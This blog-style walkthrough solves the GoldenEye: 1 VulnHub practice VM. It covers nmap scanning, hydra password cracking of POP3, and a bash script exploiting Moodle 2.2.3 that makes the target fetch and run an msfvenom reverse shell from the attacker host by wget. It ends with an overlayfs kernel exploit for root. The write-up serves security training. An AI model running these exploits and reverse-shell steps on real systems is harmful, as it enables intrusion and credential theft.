This post documents the complete walkthrough of GoldenEye: 1, a boot2root VM created by creosote, and hosted at VulnHub. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

This VM is an OSCP-type vulnerable machine that’s themed after the great James Bond film (and even better n64 game) GoldenEye. The goal is to get root and capture the secret GoldenEye codes— flag.txt .

Information Gathering

Let’s start with a nmap scan to establish the available services in the host.

# nmap -n -v -Pn -p- -A --reason -oN nmap.txt 192.168.30.129 ... PORT STATE SERVICE REASON VERSION 25/tcp open smtp syn-ack ttl 64 Postfix smtpd |_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, | ssl-cert: Subject: commonName=ubuntu | Issuer: commonName=ubuntu | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2018-04-24T03:22:34 | Not valid after: 2028-04-21T03:22:34 | MD5: cd4a d178 f216 17fb 21a6 0a16 8f46 c8c6 |_SHA-1: fda3 fc7b 6601 4746 96aa 0f56 b126 1c29 36e8 442c |_ssl-date: TLS randomness does not represent time 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.7 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: GoldenEye Primary Admin Server 55006/tcp open ssl/pop3 syn-ack ttl 64 Dovecot pop3d |_pop3-capabilities: USER TOP SASL(PLAIN) RESP-CODES PIPELINING AUTH-RESP-CODE UIDL CAPA | ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server | Issuer: commonName=localhost/organizationName=Dovecot mail server | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2018-04-24T03:23:52 | Not valid after: 2028-04-23T03:23:52 | MD5: d039 2e71 c76a 2cb3 e694 ec40 7228 ec63 |_SHA-1: 9d6a 92eb 5f9f e9ba 6cbd dc93 55fa 5754 219b 0b77 |_ssl-date: TLS randomness does not represent time 55007/tcp open pop3 syn-ack ttl 64 Dovecot pop3d |_pop3-capabilities: TOP SASL(PLAIN) PIPELINING USER STLS RESP-CODES AUTH-RESP-CODE UIDL CAPA | ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server | Issuer: commonName=localhost/organizationName=Dovecot mail server | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2018-04-24T03:23:52 | Not valid after: 2028-04-23T03:23:52 | MD5: d039 2e71 c76a 2cb3 e694 ec40 7228 ec63 |_SHA-1: 9d6a 92eb 5f9f e9ba 6cbd dc93 55fa 5754 219b 0b77 |_ssl-date: TLS randomness does not represent time

nmap finds one web-related port, 80/tcp ; and three email-related ports, 25/tcp , 55006/tcp , and 55007/tcp . Let’s start with the web one. Here’s how it looks like.

If you look at the HTML source, you’ll notice a reference to terminal.js .

Let’s decode the password.

# for d in $(echo -n 'InvincibleHack3r' | tr -d '&#' | tr ';' '

'); do printf \\$(printf "%o" $d); done && echo InvincibleHack3r

Now, let’s go to /sev-home/ with this credential ( boris:InvincibleHack3r ).

Look at the HTML source of this page, scroll down to the bottom and you’ll find an important information, albeit a poor attempt to hide it in HTML comment.

Together with the information gathered so far, I guess we have to pop into their POP3 mail boxes to find the next clue.

Popping POP3

When it comes to online password cracking, hydra is my go-to choice. I’ll normally load up with “rockyou”, but hydra advises us to go with smaller wordlists for POP3. This turns out to be good advice.

# Hydra v8.6 run at 2018-09-13 13:06:16 on 192.168.30.129 pop3 (hydra -L users.txt -P /usr/share/wordlists/fasttrack.txt -s 55006 -o hydra.txt -e nsr -t 64 pop3s://192.168.30.129) [55006][pop3] host: 192.168.30.129 login: boris password: secret1! [55006][pop3] host: 192.168.30.129 login: natalya password: bird

users.txt contains two entries: boris and natalya .

Not too shabby. We can now log in to their respective mail boxes with the following credentials:

boris:secret1!

natalya:bird

But because their emails are behind SSL-enabled POP3, we have to use a non- nc utility to retrieve the emails. I’m using openssl s_client -connect ip:port for this task.

Boris’ Emails

Boris has three emails.

Email: 1

Email: 2

Email: 3

Natalya’s Emails

It’s Natalya’s turn.

She has two emails.

Email: 1

Email: 2

Nice. We got xenia ’s credential.

Severnaya Station

Following the advice in the previous email, we can add severnaya-station.com into /etc/hosts like this.

echo -e "192.168.30.129\tsevernaya-station.com" >> /etc/hosts

Once that’s done, go to severnaya-station.com/gnocertdir to access the training site.

Before we move on, there’s an admin user. Keep that in mind.

Who is Dr. Doak?

Let’s log in to the training site with xenia ’s credential. Upon log in, there’s a notification of a new message from Dr. Doak.

The message from Dr. Doak is as follows.

Dr. Doak is offering information. His email username is doak . Time to go back to crack his POP3 mail box.

# Hydra v8.6 run at 2018-09-13 18:51:42 on 192.168.30.129 pop3 (hydra -l doak -P /usr/share/wordlists/fasttrack.txt -e nsr -o hydra.txt -t 50 -s 55006 pop3s://192.168.30.129) [55006][pop3] host: 192.168.30.129 login: doak password: goat

Dr. Doak has one email.

Email: 1

What do you know? Dr. Doak is revealing his credential for the training site. Back to the training site!

After fumbling around the site, I noticed something’s up with the private files section shown here.

Let’s peek into the file.

I love juicy stuff!

I also don’t know my tradecraft. But, if I had to guess, I would say that looks like base64 . Let’s decode it and see what it says.

Hmm. I wonder what’s this for? Could this be admin ’s password to the training site? There’s only one way to find out.

It’s the admin ’s password alright.

Moodle 2.2.3 Remote Command Execution

There’s a Metasploit exploit for Moodle but I find it hard to use. Instead, I wrote my own bash script based on it. The main difference lies in the payload.

exploit.sh

#!/bin/bash USER = admin PASS = xWinter1995x%21 RHOST = severnaya-station.com LHOST = 192.168.30.128 LPORT = 1234 SETTING = admin/settings.php SECTION = " $SETTING ?section=editorsettingstinymce" URI = gnocertdir RPC = lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php JSON = '{"id":"c0","method":"checkWords","params":["en",[""]]}' # Check for reverse shell if [ ! -e rev ] ; then printf "[+] Generating reverse shell..." msfvenom -p linux/x64/shell_reverse_tcp LHOST = $LHOST LPORT = $LPORT -f elf -o rev &>/dev/null printf "done

" fi # Set up listeners printf "[+] Opening listeners..." xterm -T "SimpleHTTPServer" -e "python -m SimpleHTTPServer 80" & xterm -T "SHELL" -e "nc -lnvp $LPORT " & printf "done

" # Get cookie curl -c cookie1 -o /dev/null -s http:// $RHOST / $URI /index.php # Login curl -c cookie2 -b cookie1 -o /dev/null -s \ -d "username= $USER &password= $PASS " \ http:// $RHOST / $URI /login/index.php # Get 'sess' SESS = $( curl -b cookie2 -s \ http:// $RHOST / $URI / $SECTION \ | grep -Eo -m1 '?sesskey=.*"' \ | cut -d '"' -f1 \ | cut -d '=' -f2 ) function trigger () { # Update spellcheck curl -b cookie2 -o /dev/null -s \ --data-urlencode "section=systempaths" \ --data-urlencode "sesskey= $SESS " \ --data-urlencode "return" \ --data-urlencode "s__gdversion=2" \ --data-urlencode "s__pathtodu=/usr/bin/du" \ --data-urlencode "s__aspellpath= $CMD " \ --data-urlencode "s__pathtodot" \ http:// $RHOST / $URI / $SETTING # Trigger spellcheck curl -b cookie2 -o /dev/null -s \ -H "Content-Type: application/json" \ -d " $JSON " \ http:// $RHOST / $URI / $RPC } printf "[+] Pulling rev..." ; CMD = "sh -c 'wget -O /tmp/rev $LHOST /rev'" ; trigger ; printf "done

" printf "[+] chmod +x rev..." ; CMD = "sh -c 'chmod +x /tmp/rev'" ; trigger ; printf "done

" printf "[+] Executing rev...look at the SHELL window" ; CMD = "sh -c '/tmp/rev'" ; trigger ; # Clean up rm cookie * 2>/dev/null

The script will open two listeners in xterm : 1) Python SimpleHTTPServer and 2) nc listener. It’ll then transfer a reverse shell generated with msfvenom using wget , make it executable with chmod , and finally run the reverse shell.

For the exploit to work, the spell engine must be set to PSpellShell.

Low-Privilege Shell

Let’s give the script a shot.

Woohoo. I got shell.

Privilege Escalation

First of all, I notice this is a pretty old Ubuntu running an old kernel.

EDB-ID 37292 looks like a perfect fit for the job—with one small problem—the VM doesn’t have the necessary build tools such as gcc .

Nonetheless, we can revise the code and build the exploits on our attacking machine and transfer them over with wget . Our Python SimpleHTTPServer is still running, remember?

Here’s the plan.

On the attacking machine, do the following:

Remove the line starting with #define LIB "#include..." , clean it up, and save it as ofs-lib.c Remove these lines: lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777); write(lib,LIB,strlen(LIB)); close(lib); lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w"); if(lib != 0) { fprintf(stderr,"couldn't create dynamic library

"); exit(-1); } write(fd,"/tmp/ofs-lib.so

",16); Save what’s left as ofs.c . Compile ofs.c and ofs-lib.c separately.

Compiling ofs.c is easy.

# gcc -o ofs ofs.c

Compiling ofs-lib.c is slightly more difficult.

# gcc -fPIC -shared -o ofs-lib.so ofs-lib.c -ldl -w

On the remote shell, do the following:

$ wget -O /tmp/ofs 192.168.30.128/ofs $ chmod +x /tmp/ofs $ wget -O /tmp/ofs-lib.so 192.168.30.128/ofs-lib.so Run /tmp/ofs to create /etc/ld.so.preload . Hit Enter to ignore the password prompt. $ echo /tmp/ofs-lib.so > /etc/ld.so.preload $ /tmp/ofs

To the GoldenEye Access Codes

Time to get the flag!

Afterthought